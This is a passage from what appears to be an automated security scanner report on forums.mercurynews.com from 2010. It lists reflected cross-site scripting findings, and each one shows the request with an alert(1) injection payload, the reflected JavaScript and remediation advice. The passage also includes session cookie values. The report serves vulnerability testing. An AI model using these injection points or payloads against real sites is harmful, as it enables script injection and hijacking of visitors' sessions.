GET /syndication72dff"-alert(1)-"3eb0ed22cc2/jsonXmlToHtml.js HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/business
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:43:42 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=4fddb2720eb8ae7d58407c4126fd5a38; expires=Wed, 08 Dec 2010 05:17:02 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:44:06 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
e="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / syndication72dff"-alert(1)-"3eb0ed22cc2/jsonXmlToHtml.js";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s
...[SNIP]...

1.42. http://forums.mercurynews.com/syndication/jsonXmlToHtml.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /syndication/jsonXmlToHtml.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e61ea"-alert(1)-"f6fde09b897 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /syndication/jsonXmlToHtml.jse61ea"-alert(1)-"f6fde09b897 HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/business
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:49:50 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=3815c27cd4b31bf68aabb6e890edd039; expires=Wed, 08 Dec 2010 05:23:10 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:50:14 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22134

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
f (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / syndication/jsonXmlToHtml.jse61ea"-alert(1)-"f6fde09b897";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.43. http://forums.mercurynews.com/topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab22e"-alert(1)-"d193185f86e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topicab22e"-alert(1)-"d193185f86e/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:08 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:32 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22276

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topicab22e"-alert(1)-"d193185f86e/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.
...[SNIP]...

1.44. http://forums.mercurynews.com/topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f6eb"-alert(1)-"db61396b3da was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose5f6eb"-alert(1)-"db61396b3da HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:22 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:46 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22276

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
rop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose5f6eb"-alert(1)-"db61396b3da";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.45. http://forums.mercurynews.com/topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0fec"-alert(1)-"b2737086bf5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose?d0fec"-alert(1)-"b2737086bf5=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:50 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:14 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22243

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
op1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose?d0fec"-alert(1)-"b2737086bf5=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.46. http://forums.mercurynews.com/topic/645-sri-lanka-and-thailand-9-1-2010 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/645-sri-lanka-and-thailand-9-1-2010

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e42c8"-alert(1)-"227f159106e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topice42c8"-alert(1)-"227f159106e/645-sri-lanka-and-thailand-9-1-2010 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:18 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:42 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topice42c8"-alert(1)-"227f159106e/645-sri-lanka-and-thailand-9-1-2010";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.e
...[SNIP]...

1.47. http://forums.mercurynews.com/topic/645-sri-lanka-and-thailand-9-1-2010 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/645-sri-lanka-and-thailand-9-1-2010

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 51c06"-alert(1)-"12bdca9849b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/645-sri-lanka-and-thailand-9-1-201051c06"-alert(1)-"12bdca9849b HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:28 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:52 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
= 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/645-sri-lanka-and-thailand-9-1-201051c06"-alert(1)-"12bdca9849b";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.48. http://forums.mercurynews.com/topic/645-sri-lanka-and-thailand-9-1-2010 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/645-sri-lanka-and-thailand-9-1-2010

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b712"-alert(1)-"c150a5b4989 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/645-sri-lanka-and-thailand-9-1-2010?9b712"-alert(1)-"c150a5b4989=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:06 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:30 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 46103

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/645-sri-lanka-and-thailand-9-1-2010?9b712"-alert(1)-"c150a5b4989=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.49. http://forums.mercurynews.com/topic/about-gold-price-and-inflation [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/about-gold-price-and-inflation

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b094c"-alert(1)-"6bbb6d77a1d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topicb094c"-alert(1)-"6bbb6d77a1d/about-gold-price-and-inflation HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:22 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:46 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topicb094c"-alert(1)-"6bbb6d77a1d/about-gold-price-and-inflation";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=
...[SNIP]...

1.50. http://forums.mercurynews.com/topic/about-gold-price-and-inflation [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/about-gold-price-and-inflation

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cfbe9"-alert(1)-"886bc9b8793 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/about-gold-price-and-inflationcfbe9"-alert(1)-"886bc9b8793 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:27 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:51 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
f s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/about-gold-price-and-inflationcfbe9"-alert(1)-"886bc9b8793";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.51. http://forums.mercurynews.com/topic/about-gold-price-and-inflation [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/about-gold-price-and-inflation

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8247c"-alert(1)-"6f9bb8c880e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/about-gold-price-and-inflation?8247c"-alert(1)-"6f9bb8c880e=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:09 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:33 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 95450

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/about-gold-price-and-inflation?8247c"-alert(1)-"6f9bb8c880e=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.52. http://forums.mercurynews.com/topic/al-qaida-is-us-puppet [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/al-qaida-is-us-puppet

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ef8c"-alert(1)-"b016d693cff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic6ef8c"-alert(1)-"b016d693cff/al-qaida-is-us-puppet HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:14 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:38 GMT
